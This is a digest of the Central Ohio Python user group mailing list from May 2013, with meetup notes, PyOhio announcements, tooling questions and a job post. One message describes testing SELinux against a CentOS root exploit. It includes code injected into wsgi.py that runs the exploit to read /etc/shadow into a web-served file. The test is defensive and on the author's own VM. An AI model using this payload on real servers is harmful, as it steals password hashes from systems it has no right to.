+ (x%y)) cohpy at dojo:~/i/modulo$ ./foo.py -1 2 1 cohpy at dojo:~/i/modulo$ somebody bought copy of New Testament (K&R 2nd Ed) path.py module is handy but has no documentation, so read the source luke source env/bin/activate pip install path.py # not pip install path from path import path for f in path('/foo/bar').walkfiles('*.mkv'): print f.namebase # Explore many other cool convenience methods (and attributes). divmod() is cool (but has ambiguity as / and %) Django on Windows hell Udacity local static variables in C Mutex The community room worked out well. From mark at aufdencamp.com Fri May 10 16:12:34 2013 From: mark at aufdencamp.com (Mark Aufdencamp) Date: Fri, 10 May 2013 07:12:34 -0700 Subject: [CentralOH] APress WebSocket Book Deal of the Day $10 Message-ID: <20130510071234.181451e9c2a7ebbcd6ae28cea81146c8.80d8e8d234.wbe@email17.secureserver.net> If you really want to play with WebSockets after Brian Costlow's presentation last week, here's a great starter. It covers XMPP (Jabber), STOMP, utilizing ActiveMQ for pub/sub messaging server, and RFB (Remote Frame Buffer) driving VNC. It's the APress deal of the day today for only $10! http://www.apress.com/9781430247401 I'm personally working towards a Django app that incorporates WebSockets utilizing ActiveMQ for pub/sub messaging. BDD with Lettuce and Splinter to drive development and testing. Mark Aufdencamp Mark at Aufdencamp.com From eric at intellovations.com Fri May 10 21:24:23 2013 From: eric at intellovations.com (Eric Floehr) Date: Fri, 10 May 2013 15:24:23 -0400 Subject: [CentralOH] Blog post about Django, PostgreSQL, and primary keys Message-ID: Hey all, I wanted to let you know I posted a discussion about Django, PostgreSQL, and primary keys here: http://www.intellovations.com/2013/04/17/django-and-big-data-part-1-primary-keys/ I'm hoping to continue the discussion, hence the "Part 1". Even if you don't use Django, there may be some useful nuggets about PostgreSQL. Anyway, let me know what you think. Best Regards, Eric -------------- next part -------------- An HTML attachment was scrubbed... URL: From iynaix at gmail.com Sat May 11 04:34:11 2013 From: iynaix at gmail.com (iynaix) Date: Fri, 10 May 2013 22:34:11 -0400 Subject: [CentralOH] DoJo (Special Edition) on Sat, May 11 Message-ID: We interrupt your regularly scheduled programming to inform you that there will be a DoJo at Yin Yue Restaurant, 1236 East Hudson Street tomorrow (May 11) at 1pm. A couple of us are having lunch there, and decided to label it a DoJo. The restaurant has free wifi, so the most important base is covered. I'm also required to inform you that an old marathon runner will likely be present tomorrow, although have no idea what that means. Here's the meetup.com page for reference: http://www.meetup.com/Central-Ohio-Python-Users-Group/events/118837072/ Cheers, XY -------------- next part -------------- An HTML attachment was scrubbed... URL: From mark at aufdencamp.com Mon May 13 22:53:54 2013 From: mark at aufdencamp.com (Mark Aufdencamp) Date: Mon, 13 May 2013 13:53:54 -0700 Subject: [CentralOH] OS Package Managers and Python Message-ID: <20130513135354.181451e9c2a7ebbcd6ae28cea81146c8.d55e975857.wbe@email17.secureserver.net> Greetings All, I've been playing with python on my MacBook. Of course, it shipped with python 2.6 and easy_install. I installed pip on it last year at PyOhio. I've upgraded pip to the current version, and been able to install Django and such. I'm now looking at installing 2.7 and 3.3 on it. Concurrently with this, I'm looking at my environment on my Ubuntu desktop and servers. So questions: 1. Should I use the standard release page distributions, Mac Ports, or build my own for the newer versions on my MacBook? Pros and cons of 32 vs 64 bit? 2. Same goes for Python on Ubuntu, apt-get, or standard release source? 3. How about easy_install and pip on Ubuntu? Install python-setuptools for easy install and then pip, or use the apt-get pip package? Really like some discussion on pros and cons, as I know this has been a huge issue in the ruby world with gems. TIA Mark Aufdencamp Mark at Aufdencamp.com From godber at gmail.com Tue May 14 00:19:04 2013 From: godber at gmail.com (Austin Godber) Date: Mon, 13 May 2013 15:19:04 -0700 Subject: [CentralOH] OS Package Managers and Python In-Reply-To: <20130513135354.181451e9c2a7ebbcd6ae28cea81146c8.d55e975857.wbe@email17.secureserver.net> References: <20130513135354.181451e9c2a7ebbcd6ae28cea81146c8.d55e975857.wbe@email17.secureserver.net> Message-ID: Hello Mark On OSX, I've had decent luck with MacPorts (and with homebrew). Another stand alone option would be to use pythonz ( https://github.com/saghul/pythonz), it allows local installation of specific versions of multiple Python interpreters (including stackless, pypy, and jython, but definitely 3.3). On Ubuntu, I tend to use the supplied 2.7 release. I always use virtualenv (by means of virtualenv wrapper) to lockdown and isolate my project dependencies. This achieves something similar to what ruby's bundler does (though by different means) or like gemsets in RVM. Basically a virtualenv is a project specific place where packages get installed. Typically its kept separate from the global python packages supplied by the OS. I gave a presentation to COHPy on virtualenv a few years back, and just recently to DesertPy ... presentation available online here: http://desertpy.com/pages/presentations.html Though you're better off just looking at the virtualenv wrapper docs. Austin On Mon, May 13, 2013 at 1:53 PM, Mark Aufdencamp wrote: > Greetings All, > > I've been playing with python on my MacBook. Of course, it shipped with > python 2.6 and easy_install. I installed pip on it last year at PyOhio. > I've upgraded pip to the current version, and been able to install > Django and such. I'm now looking at installing 2.7 and 3.3 on it. > Concurrently with this, I'm looking at my environment on my Ubuntu > desktop and servers. So questions: > > 1. Should I use the standard release page distributions, Mac Ports, or > build my own for the newer versions on my MacBook? Pros and cons of 32 > vs 64 bit? > > 2. Same goes for Python on Ubuntu, apt-get, or standard release source? > > 3. How about easy_install and pip on Ubuntu? Install python-setuptools > for easy install and then pip, or use the apt-get pip package? Really > like some discussion on pros and cons, as I know this has been a huge > issue in the ruby world with gems. > > TIA > > Mark Aufdencamp > Mark at Aufdencamp.com > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > -------------- next part -------------- An HTML attachment was scrubbed... URL: From joskra42.list at gmail.com Tue May 14 19:27:53 2013 From: joskra42.list at gmail.com (Joshua Kramer) Date: Tue, 14 May 2013 13:27:53 -0400 Subject: [CentralOH] Help Constructing a Science Experiment Message-ID: Hello, I just read about this CentOS vulnerability: https://www.centos.org/modules/newbb/viewtopic.php?topic_id=42827&forum=59 I am trying to construct a science experiment to see if SELinux properly mitigates this attack. I spun up a new VM of my dev server, and I have a website running via Apache and WSGI. I am trying to simulate a potential attack whereby someone uploads the exploit to the media directory of a Mezzanine-based app, and runs it by injecting malicious code into wsgi.py. Far fetched, I know, but it's a science experiment after all. The code noted below just causes the Apache thread to hang. I don't show any SELinux AVC denials so I don't think the executable is being run. (But that might not be a valid assertion, seeing that I'm testing SELinux in the first place.) Does anyone see any glaring issues here? Cheers, -JK # Evil hack: This command line works when run as a non-root user: # echo "cat /etc/shadow" | /srv/website/www/website/static/media/semtex_exploit > /srv/website/www/website/static/media/passwords from subprocess import Popen, PIPE cmd = '/srv/website/www/website/static/media/semtex_exploit' p = Popen(cmd, stdout=PIPE, stderr=PIPE, stdin=PIPE) p.stdin.write("cat /etc/shadow\n") mtext = p.stdout.read() with open('/srv/website/www/website/static/media/shadow', 'a') as the_file: the_file.write(mtext) -------------- next part -------------- An HTML attachment was scrubbed... URL: From jep200404 at columbus.rr.com Sat May 18 02:55:33 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Fri, 17 May 2013 20:55:33 -0400 Subject: [CentralOH] =?utf-8?q?2013-05-16_=E9=81=93=E5=A0=B4_Scribbles_?= =?utf-8?b?76SY5pu4L+aDoeaWhz8=?= Message-ID: <20130517205533.769f4249.jep200404@columbus.rr.com> We had more folks than usual, filling up the big table ? ???: http://pypi.org/ pypi.python.org XML element tree some xpath some people are just sick macropy: generating python code from lispish macro https://pypi.python.org/pypi/MacroPy/0.1.7 %_ %( some people are just sick http://pyvideo.org/video/1853/friday-evening-lightning-talks#t=16m14s 16:14 hy: a lisp variant - Paul Tag http://en.wikipedia.org/wiki/S_expressions http://en.wikipedia.org/wiki/Lisp_(programming_language) http://en.wikipedia.org/wiki/John_McCarthy_(computer_scientist) S expression John McCarty (aka alpha) proved Lisp sufficient license plate frame on his bimmer https://github.com/kennethreitz/osx-gcc-installer works was was helpful for doing numpy(???) on a Mac. Watch Matt Harrison lightning talk at PyCON 2011 http://pyvideo.org/video/360/pycon-2011--friday-afternoon-lightning-talks xmonad haskell awesome lua 1 based indexes qtile python scriptable hackable qtile.org http://hairysun.com/About/ fusionio? http://en.wikipedia.org/wiki/Mojibake google easter eggs atari breakout do a barrel roll big honking monitor hooked up to a Raspberry Pi blame the slowness of the system on the bigness of the monitor. At $0.114/kWh, 1 continuous Watt costs about $1/year Kill-A-Watt P4400 http://en.wikipedia.org/wiki/Kill-A-Watt Watts versus Volt Amps http://en.wikipedia.org/wiki/Power_factor ?minence grise Real power (Watts) apparent power (Volt-Amps _not_ Watts) http://en.wikipedia.org/wiki/Arc_suppression switch mode power supplies (such as in most PC power supplies) often have terrible power factors (in range from 0.5 to 0.6) Currency: http://en.wikipedia.org/wiki/Choco_Pie some people are just sick VimGolf prime numbers http://media.vimcasts.org/videos/36/primes.ogv I knew about Learn Python the Hard Way, but I did not know that there are other Learn * the Hard Way courses. E.g. http://c.learncodethehardway.org/book/ex0.html http://c.learncodethehardway.org/book/ex0.html I love the warning about using an IDE and the comparison between tablature and "staff notation". http://cli.learncodethehardway.org/book/introduction.html learn regex the hard way http://regex.learncodethehardway.org/ Volume 2 by Traveling Wilburys http://en.wikipedia.org/wiki/Temptation_(Holly_Cole_album) http://en.wikipedia.org/wiki/Phoebe_Snow_(album) http://en.wikipedia.org/wiki/Inside_(Paul_Horn_album) http://en.wikipedia.org/wiki/Wollensak From jep200404 at columbus.rr.com Sat May 18 18:53:49 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Sat, 18 May 2013 12:53:49 -0400 Subject: [CentralOH] 2013-04-29: more keyboard stuff In-Reply-To: <20130430130745.2febbbc7.jep200404@columbus.rr.com> References: <20130430130745.2febbbc7.jep200404@columbus.rr.com> Message-ID: <20130518125349.5a6e382f.jep200404@columbus.rr.com> On Tue, 30 Apr 2013 13:07:45 -0400, jep200404 at columbus.rr.com wrote: > try keyboards > Cherry Blue > Cherry Brown > http://deskthority.net/wiki/Cherry_MX > IBM M13 buckling spring with trackpoint Filco Majestouch N-key rollover Model FKBN104MC/EB all key caps are all black Leopold High-end Mechanical Keyboard Model No.: FC200RT/KB Part No.: FC200RT/AB From eric at intellovations.com Sun May 19 16:59:36 2013 From: eric at intellovations.com (Eric Floehr) Date: Sun, 19 May 2013 10:59:36 -0400 Subject: [CentralOH] Writing a game in Python Message-ID: I'm a big fan of turn-based strategy games, ever since the days of SSI. I haven't had much time for games but found out and bought a new multi-platform (i.e. runs natively on Linux :-) game called "Unity of Command". http://unityofcommand.net/ The game is well done, and quite polished and enjoyable. There is a good set of tutorials, so an otherwise high learning curve (as is true of many strategy games) is very much lessened. Imagine my surprise when I discovered the game was written entirely in Python: http://unityofcommand.net/forums/viewtopic.php?t=607&f=7 If you wanted to see what you can do with PyGame and Python, wow, this is a great example, and a good game! It's on sale for $10 too :-). Cheers, Eric -------------- next part -------------- An HTML attachment was scrubbed... URL: From brian.costlow at gmail.com Sun May 19 19:35:13 2013 From: brian.costlow at gmail.com (Brian Costlow) Date: Sun, 19 May 2013 13:35:13 -0400 Subject: [CentralOH] PyOhio 2013 Proposal Deadline is Rapidly Approaching! (June 1st) Message-ID: PyOhio 2013, the annual Python programming conference for Ohio and the surrounding region, will take place Saturday, July 27th, and Sunday, July 28th, 2013 at the Ohio Union, The Ohio State University in Columbus, Ohio. You can read more about the conference at http://pyohio.org. If you have questions about proposals, please email cfp at pyohio.org. You can also contact the PyOhio organizers at pyohio-organizers at python.org. PyOhio invites all interested people to submit proposals for scheduled talks, tutorials, and panels. All topics of interest to Python programmers will be considered. Standard presentation talk slots will be 40 minutes plus a 10 minute question-and-answer period. Tutorial slots will be 110 minutes long. The deadline to submit a proposal is June 1st. *Who Should Submit a Proposal? You. Your friends. Your friends' friends. Anyone with any level of Python knowledge is a candidate for a great topic at this conference. As we get attendees of all kinds, we need speakers of all kinds. In all ways and manners, we try to assemble the most diverse conference we can, and we do that with your help. Whether you got started with Python last month or you've been around for 20 years, we think you've got something to share. The Python community is stronger than ever and we're still reaching new areas, new industries, and new users. Be a part of growing Python by helping us change the future. In particular, we welcome submissions from people that have never done a talk before! And if you want help preparing a talk, let us know! Volunteers are eager to help new people do talks. You can submit more than one proposal. *What should I talk about? Anything to do with Python. Teach us about your favorite standard library module, or your favorite external library or framework. Show us something cool you built with Python. Science and data modeling. Web apps. Finance. Testing. Big data. DevOps. Integration with other languages. Do you want to work on a talk, but don't have any ideas? The topics below are up for grabs. Several people could easily work together on each one. Please take these ideas and stretch it out or focus on just one part of it or do whatever else you want. Parallelism shootout: threads vs multiple processes vs libevent. Walk through porting a library from python 2 to python 3 Python newbies. If you've programmed in another language first, Intro to Python for X Programmers, where X is Java, JS, C, PHP etc. If you're entirely new to programming, a short talk about your journey learning with Python would be great. We're still looking for someone to do an intro to Python tutorial for adults this year. Hint. *To Submit your proposal. Sign up for an account on the PyOhio website. Fill out a speaker profile. After that, you'll be able to submit a proposal. Pick talk or tutorial, and then describe your talk. You can edit stuff later, so don't over-think it. Regularly check your email for questions from the reviewers. *Keynote and Young Coder. We are thrilled to announce that Brandon Craig Rhodes will be this year's keynote speaker. Brandon has been a frequent speaker and contributor at PyCon, PyOhio, COhPy, and in his own words: "everywhere from the middle of Arkansas to the country of Poland." http://rhodesmill.org/brandon/ He is co-author of The Essentials of Python Network Programming, and author of a number of Python open source packages. https://bitbucket.org/brandon Also, Katie Cunningham will be giving an intro to Python class for young people 12-18 years old (7th-12th grade). This is a version of the Young Coder class she and Barbara Shaurette gave at PyCon this year. https://us.pycon.org/2013/events/letslearnpython/ *PyCamp PyCamp is a one-week, intensive, ultra-low-cost Python boot camp for beginners. It was developed by a Python user group and has been given to over 1000 students worldwide. Proceeds from PyCamps are used to sponsor Python community activities like PyOhio. PyCamp is taking place July 22-26 in the Ohio Union, the week before PyOhio weekend. Registration is open. http://trizpug.org/boot-camp/pyohio13/ *Register for PyOhio Registration for PyOhio is now open. PyOhio remains 100% free to attend. Just sign up for the free registration so we can get a head count. Or, if you want the T-Shirt, sign up for the paid ticket to get your shirt. (But don't do both!) http://pyohio.org/registration/ *Hotel(s) We have a discount room block at the Blackwell, right on OSU's campus for $120.00 a night. There are a few rooms blocked for the whole week for any out-of-towners going to PyCamp as well. Just tell them you are coming for PyOhio. http://www.theblackwell.com/ If it fills up, here are some other nearby hotels: http://www.hipmunk.com/hotels/Columbus-OH#!dates=Jul26,Jul28 Hope to see you all at the conference! The 2013 PyOhio Organizing Committee -------------- next part -------------- An HTML attachment was scrubbed... URL: From jep200404 at columbus.rr.com Mon May 20 22:56:36 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Mon, 20 May 2013 16:56:36 -0400 Subject: [CentralOH] Meeting Reminder: Tonight Message-ID: <20130520165636.69790d3d.jep200404@columbus.rr.com> 2013-05-20 Meeting and after meeting hangout http://www.meetup.com/Central-Ohio-Python-Users-Group/events/113875692/ http://www.meetup.com/Central-Ohio-Python-Users-Group/events/119619632/ From jdsantiagojr at gmail.com Tue May 21 02:49:59 2013 From: jdsantiagojr at gmail.com (John Santiago) Date: Mon, 20 May 2013 20:49:59 -0400 Subject: [CentralOH] Writing a game in Python In-Reply-To: References: Message-ID: This is awesome. I am also surprised this was all done in Python. On Sun, May 19, 2013 at 10:59 AM, Eric Floehr wrote: > I'm a big fan of turn-based strategy games, ever since the days of SSI. I > haven't had much time for games but found out and bought a new > multi-platform (i.e. runs natively on Linux :-) game called "Unity of > Command". > > http://unityofcommand.net/ > > The game is well done, and quite polished and enjoyable. There is a good > set of tutorials, so an otherwise high learning curve (as is true of many > strategy games) is very much lessened. > > Imagine my surprise when I discovered the game was written entirely in > Python: > > http://unityofcommand.net/forums/viewtopic.php?t=607&f=7 > > If you wanted to see what you can do with PyGame and Python, wow, this is > a great example, and a good game! It's on sale for $10 too :-). > > Cheers, > Eric > > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -- This electronic message is intended to be for the use only of the named recipient, and may contain information that is confidential or privileged. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of the contents of this message is strictly prohibited. If you have received this message in error or are not the named recipient, please notify us immediately by contacting the sender at the electronic mail address noted above, and delete and destroy all copies of this message. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jdsantiagojr at gmail.com Tue May 21 03:14:05 2013 From: jdsantiagojr at gmail.com (John Santiago) Date: Mon, 20 May 2013 21:14:05 -0400 Subject: [CentralOH] PyOhio 2013 Proposal Deadline is Rapidly Approaching! (June 1st) In-Reply-To: References: Message-ID: Hi, I would really like to contribute and help. Getting a little lost in the emails, so unsure who I should talk to. I would def. be interested in helping with the Python for adults and Python for youth classes. Also thought about doing some tutorials, but unsure how qualified I am. I have only been programming professionally in multiple languages for a little over five years. Python for two. I come from art./illustrator background and learned programming as a way to make games. I would like to propose a talk about http://kivy.org/#home and another about Gevent. I would be interested on giving a tutorial (building a quick website with cherrypy.) Please let me know what I would need to do. I really do like the group, I love python, and would like to get more involved. Talk to you later, Thank you, John Santiago On Sun, May 19, 2013 at 1:35 PM, Brian Costlow wrote: > PyOhio 2013, the annual Python programming conference for Ohio and the > surrounding region, will take place Saturday, July 27th, and Sunday, July > 28th, 2013 at the Ohio Union, The Ohio State University in Columbus, Ohio. > > You can read more about the conference at http://pyohio.org. If you have > questions about proposals, please email cfp at pyohio.org. You can also > contact the PyOhio organizers at pyohio-organizers at python.org. > > PyOhio invites all interested people to submit proposals for scheduled > talks, tutorials, and panels. All topics of interest to Python programmers > will be considered. Standard presentation talk slots will be 40 minutes > plus a 10 minute question-and-answer period. Tutorial slots will be 110 > minutes long. > > The deadline to submit a proposal is June 1st. > > *Who Should Submit a Proposal? > > You. Your friends. Your friends' friends. Anyone with any level of Python > knowledge is a candidate for a great topic at this conference. As we get > attendees of all kinds, we need speakers of all kinds. In all ways and > manners, we try to assemble the most diverse conference we can, and we do > that with your help. > > Whether you got started with Python last month or you've been around for > 20 years, we think you've got something to share. The Python community is > stronger than ever and we're still reaching new areas, new industries, and > new users. Be a part of growing Python by helping us change the future. > > In particular, we welcome submissions from people that have never done a > talk before! And if you want help preparing a talk, let us know! Volunteers > are eager to help new people do talks. > > You can submit more than one proposal. > > *What should I talk about? > > Anything to do with Python. Teach us about your favorite standard library > module, or your favorite external library or framework. Show us something > cool you built with Python. Science and data modeling. Web apps. Finance. > Testing. Big data. DevOps. Integration with other languages. > > Do you want to work on a talk, but don't have any ideas? The topics below > are up for grabs. Several people could easily work together on each one. > Please take these ideas and stretch it out or focus on just one part of it > or do whatever else you want. > > Parallelism shootout: threads vs multiple processes vs libevent. > > Walk through porting a library from python 2 to python 3 > > Python newbies. If you've programmed in another language first, Intro to > Python for X Programmers, where X is Java, JS, C, PHP etc. If you're > entirely new to programming, a short talk about your journey learning with > Python would be great. > > We're still looking for someone to do an intro to Python tutorial for > adults this year. Hint. > > *To Submit your proposal. > > Sign up for an account on the PyOhio website. > > Fill out a speaker profile. After that, you'll be able to submit a > proposal. Pick talk or tutorial, and then describe your talk. You can edit > stuff later, so don't over-think it. > > Regularly check your email for questions from the reviewers. > > *Keynote and Young Coder. > > We are thrilled to announce that Brandon Craig Rhodes will be this year's > keynote speaker. > > Brandon has been a frequent speaker and contributor at PyCon, PyOhio, > COhPy, and in his own words: "everywhere from the middle of Arkansas to the > country of Poland." > > http://rhodesmill.org/brandon/ > > He is co-author of The Essentials of Python Network Programming, and > author of a number of Python open source packages. > > https://bitbucket.org/brandon > > Also, Katie Cunningham will be giving an intro to Python class for young > people 12-18 years old (7th-12th grade). This is a version of the Young > Coder class she and Barbara Shaurette gave at PyCon this year. > > https://us.pycon.org/2013/events/letslearnpython/ > > *PyCamp > > PyCamp is a one-week, intensive, ultra-low-cost Python boot camp for > beginners. It was developed by a Python user group and has been given to > over 1000 students worldwide. Proceeds from PyCamps are used to sponsor > Python community activities like PyOhio. PyCamp is taking place July 22-26 > in the Ohio Union, the week before PyOhio weekend. Registration is open. > > http://trizpug.org/boot-camp/pyohio13/ > > *Register for PyOhio > > Registration for PyOhio is now open. > > PyOhio remains 100% free to attend. Just sign up for the free registration > so we can get a head count. Or, if you want the T-Shirt, sign up for the > paid ticket to get your shirt. (But don't do both!) > > http://pyohio.org/registration/ > > *Hotel(s) > > We have a discount room block at the Blackwell, right on OSU's campus for > $120.00 a night. There are a few rooms blocked for the whole week for any > out-of-towners going to PyCamp as well. Just tell them you are coming for > PyOhio. > > http://www.theblackwell.com/ > > If it fills up, here are some other nearby hotels: > > http://www.hipmunk.com/hotels/Columbus-OH#!dates=Jul26,Jul28 > > Hope to see you all at the conference! > > The 2013 PyOhio Organizing Committee > > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -- This electronic message is intended to be for the use only of the named recipient, and may contain information that is confidential or privileged. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of the contents of this message is strictly prohibited. If you have received this message in error or are not the named recipient, please notify us immediately by contacting the sender at the electronic mail address noted above, and delete and destroy all copies of this message. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jep200404 at columbus.rr.com Tue May 21 14:48:30 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Tue, 21 May 2013 08:48:30 -0400 Subject: [CentralOH] =?utf-8?b?6aOy44G/5Lya?= Message-ID: <20130521084830.57f9dff9.jep200404@columbus.rr.com> Brian brought up the topic of a social (non-technical) meeting. I know of a Linux group that does such. They have technical meetings and social meetings that they call nomikai. https://en.wikipedia.org/wiki/Nomikai From brian.costlow at gmail.com Tue May 21 15:19:42 2013 From: brian.costlow at gmail.com (Brian Costlow) Date: Tue, 21 May 2013 09:19:42 -0400 Subject: [CentralOH] PyOhio 2013 Proposal Deadline is Rapidly Approaching! (June 1st) In-Reply-To: References: Message-ID: Hello John, You have enough experience to do a tutorial; the first year we had full Python intro tutorial it was done by a college student. If you want to submit a proposal for a talk or tutorial just go to the pyohio cfp link http://pyohio.org/call-for-proposals/ and submit a proposal. If you are unsure how to write a proposal, contact me offline at brian.costlow at gmail.com We'll be getting a sign-up for volunteers in general soon. The call for help with the kids' class was a special case, as we need a fair amount of help and wanted to get a jump. Join the organizers list, if you haven't yet. http://mail.python.org/mailman/listinfo/pyohio-organizers We'll be directing a lot of calls for he;p there as we get closer. On Mon, May 20, 2013 at 9:14 PM, John Santiago wrote: > Hi, > > I would really like to contribute and help. Getting a little lost in the > emails, so unsure who I should talk to. > > I would def. be interested in helping with the Python for adults and > Python for youth classes. Also thought about doing some tutorials, but > unsure how qualified I am. I have only been programming professionally in > multiple languages for a little over five years. Python for two. I come > from art./illustrator background and learned programming as a way to make > games. > > I would like to propose a talk about http://kivy.org/#home and another > about Gevent. I would be interested on giving a tutorial (building a quick > website with cherrypy.) > > Please let me know what I would need to do. I really do like the group, I > love python, and would like to get more involved. > > Talk to you later, > > Thank you, > John Santiago > > > > > > > On Sun, May 19, 2013 at 1:35 PM, Brian Costlow wrote: > >> PyOhio 2013, the annual Python programming conference for Ohio and the >> surrounding region, will take place Saturday, July 27th, and Sunday, July >> 28th, 2013 at the Ohio Union, The Ohio State University in Columbus, Ohio. >> >> You can read more about the conference at http://pyohio.org. If you have >> questions about proposals, please email cfp at pyohio.org. You can also >> contact the PyOhio organizers at pyohio-organizers at python.org. >> >> PyOhio invites all interested people to submit proposals for scheduled >> talks, tutorials, and panels. All topics of interest to Python programmers >> will be considered. Standard presentation talk slots will be 40 minutes >> plus a 10 minute question-and-answer period. Tutorial slots will be 110 >> minutes long. >> >> The deadline to submit a proposal is June 1st. >> >> *Who Should Submit a Proposal? >> >> You. Your friends. Your friends' friends. Anyone with any level of Python >> knowledge is a candidate for a great topic at this conference. As we get >> attendees of all kinds, we need speakers of all kinds. In all ways and >> manners, we try to assemble the most diverse conference we can, and we do >> that with your help. >> >> Whether you got started with Python last month or you've been around for >> 20 years, we think you've got something to share. The Python community is >> stronger than ever and we're still reaching new areas, new industries, and >> new users. Be a part of growing Python by helping us change the future. >> >> In particular, we welcome submissions from people that have never done a >> talk before! And if you want help preparing a talk, let us know! Volunteers >> are eager to help new people do talks. >> >> You can submit more than one proposal. >> >> *What should I talk about? >> >> Anything to do with Python. Teach us about your favorite standard library >> module, or your favorite external library or framework. Show us something >> cool you built with Python. Science and data modeling. Web apps. Finance. >> Testing. Big data. DevOps. Integration with other languages. >> >> Do you want to work on a talk, but don't have any ideas? The topics below >> are up for grabs. Several people could easily work together on each one. >> Please take these ideas and stretch it out or focus on just one part of it >> or do whatever else you want. >> >> Parallelism shootout: threads vs multiple processes vs libevent. >> >> Walk through porting a library from python 2 to python 3 >> >> Python newbies. If you've programmed in another language first, Intro to >> Python for X Programmers, where X is Java, JS, C, PHP etc. If you're >> entirely new to programming, a short talk about your journey learning with >> Python would be great. >> >> We're still looking for someone to do an intro to Python tutorial for >> adults this year. Hint. >> >> *To Submit your proposal. >> >> Sign up for an account on the PyOhio website. >> >> Fill out a speaker profile. After that, you'll be able to submit a >> proposal. Pick talk or tutorial, and then describe your talk. You can edit >> stuff later, so don't over-think it. >> >> Regularly check your email for questions from the reviewers. >> >> *Keynote and Young Coder. >> >> We are thrilled to announce that Brandon Craig Rhodes will be this year's >> keynote speaker. >> >> Brandon has been a frequent speaker and contributor at PyCon, PyOhio, >> COhPy, and in his own words: "everywhere from the middle of Arkansas to the >> country of Poland." >> >> http://rhodesmill.org/brandon/ >> >> He is co-author of The Essentials of Python Network Programming, and >> author of a number of Python open source packages. >> >> https://bitbucket.org/brandon >> >> Also, Katie Cunningham will be giving an intro to Python class for young >> people 12-18 years old (7th-12th grade). This is a version of the Young >> Coder class she and Barbara Shaurette gave at PyCon this year. >> >> https://us.pycon.org/2013/events/letslearnpython/ >> >> *PyCamp >> >> PyCamp is a one-week, intensive, ultra-low-cost Python boot camp for >> beginners. It was developed by a Python user group and has been given to >> over 1000 students worldwide. Proceeds from PyCamps are used to sponsor >> Python community activities like PyOhio. PyCamp is taking place July 22-26 >> in the Ohio Union, the week before PyOhio weekend. Registration is open. >> >> http://trizpug.org/boot-camp/pyohio13/ >> >> *Register for PyOhio >> >> Registration for PyOhio is now open. >> >> PyOhio remains 100% free to attend. Just sign up for the free >> registration so we can get a head count. Or, if you want the T-Shirt, sign >> up for the paid ticket to get your shirt. (But don't do both!) >> >> http://pyohio.org/registration/ >> >> *Hotel(s) >> >> We have a discount room block at the Blackwell, right on OSU's campus for >> $120.00 a night. There are a few rooms blocked for the whole week for any >> out-of-towners going to PyCamp as well. Just tell them you are coming for >> PyOhio. >> >> http://www.theblackwell.com/ >> >> If it fills up, here are some other nearby hotels: >> >> http://www.hipmunk.com/hotels/Columbus-OH#!dates=Jul26,Jul28 >> >> Hope to see you all at the conference! >> >> The 2013 PyOhio Organizing Committee >> >> >> _______________________________________________ >> CentralOH mailing list >> CentralOH at python.org >> http://mail.python.org/mailman/listinfo/centraloh >> >> > > > -- > This electronic message is intended to be for the use only of the named > recipient, and may contain information that is confidential or privileged. > If you are not the intended recipient, you are hereby notified that any > disclosure, copying, distribution or use of the contents of this message is > strictly prohibited. If you have received this message in error or are not > the named recipient, please notify us immediately by contacting the sender > at the electronic mail address noted above, and delete and destroy all > copies of this message. Thank you. > > _______________________________________________ > CentralOH mailing list > CentralOH at python.org > http://mail.python.org/mailman/listinfo/centraloh > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jep200404 at columbus.rr.com Tue May 21 15:31:10 2013 From: jep200404 at columbus.rr.com (jep200404 at columbus.rr.com) Date: Tue, 21 May 2013 09:31:10 -0400 Subject: [CentralOH] =?utf-8?q?2013-05-20_=E6=9C=83=E8=AD=B0_Scribbles_?= =?utf-8?b?76SY5pu4L+aDoeaWhz8=?= Message-ID: <20130521093110.41eec26b.jep200404@columbus.rr.com> Thanks to Ben Rogers and Pillar Technology for hosting us. Send any ideas for PyOhio presentations: to Brian Costlow , Eric Floehr , or the list. (These could be about presentations that you would like to see, about something you want to learn.) coordinate curriculum at CSCC got Python into it gave game tutorial in summer OK to repeat popular presentations katas: a way of _practicing_ coding Pillar used katas during interview was used during pair programming likes Linux Mint https://duckduckgo.com/html/?q=adobe+flash+exploits python modules namespace class import sys sys.x = 17 blah.py: x = 0 print "Initializing" def foo(): print "Hello" global x x = x + 1 print x on python command prompt: import blah blah.x blah.foo() blah.x https://en.wikipedia.org/wiki/Duck_typing https://en.wikipedia.org/wiki/Monkey_patch scratch is implemented in squeak https://en.wikipedia.org/wiki/Scratch_(programming_language) https://en.wikipedia.org/wiki/Squeak_(programming_language) singletons are everywhere in Java http://en.wikipedia.org/wiki/Singleton_pattern terseness of python can butt heads with tdd not allowed to write a line of code before one has a failing test case Brian showed macropy https://github.com/lihaoyi/macropy https://github.com/lihaoyi/macropy#macropy used ttk from python ttk offers more widgets than tk http://pyvideo.org/video/1364/an-introduction-to-tkinter 82 euler project in a week http://pyvideo.org/video/534/pyohio-2011--htsql-is-a-wsgi-reporting-toolkit-fo Clark C. Evans (of YAML fame) See http://mail.python.org/pipermail/centraloh/2013-February/001551.html for recipe for ipython notebook visualization tour IRC 'bot jenni forked by Michael Yanovich? https://github.com/myano/jenni/wiki/How-to-create-a-phenny-module practical eye candy: http://nbviewer.ipython.org/ From jdsantiagojr at gmail.com Thu May 23 01:10:19 2013 From: jdsantiagojr at gmail.com (John Santiago) Date: Wed, 22 May 2013 19:10:19 -0400 Subject: [CentralOH] Job Opperunity Message-ID: Good afternoon, There is opportunity for a python developer in Cincinnati Ohio. Any one interested and willing to relocate should send the information to Nicole Dauria at dauria.nicole at gmail.com. I have pasted the job description below:: You are in Ohio, looking for small, progressive place to make your mark. Software engineering is your passion but you are woefully under-challenged and full of creativity. You believe that half of career fulfillment is what you do, and the other half is whom you work with. If that sounds like you, we need to talk.... Never heard of us? Good. We're 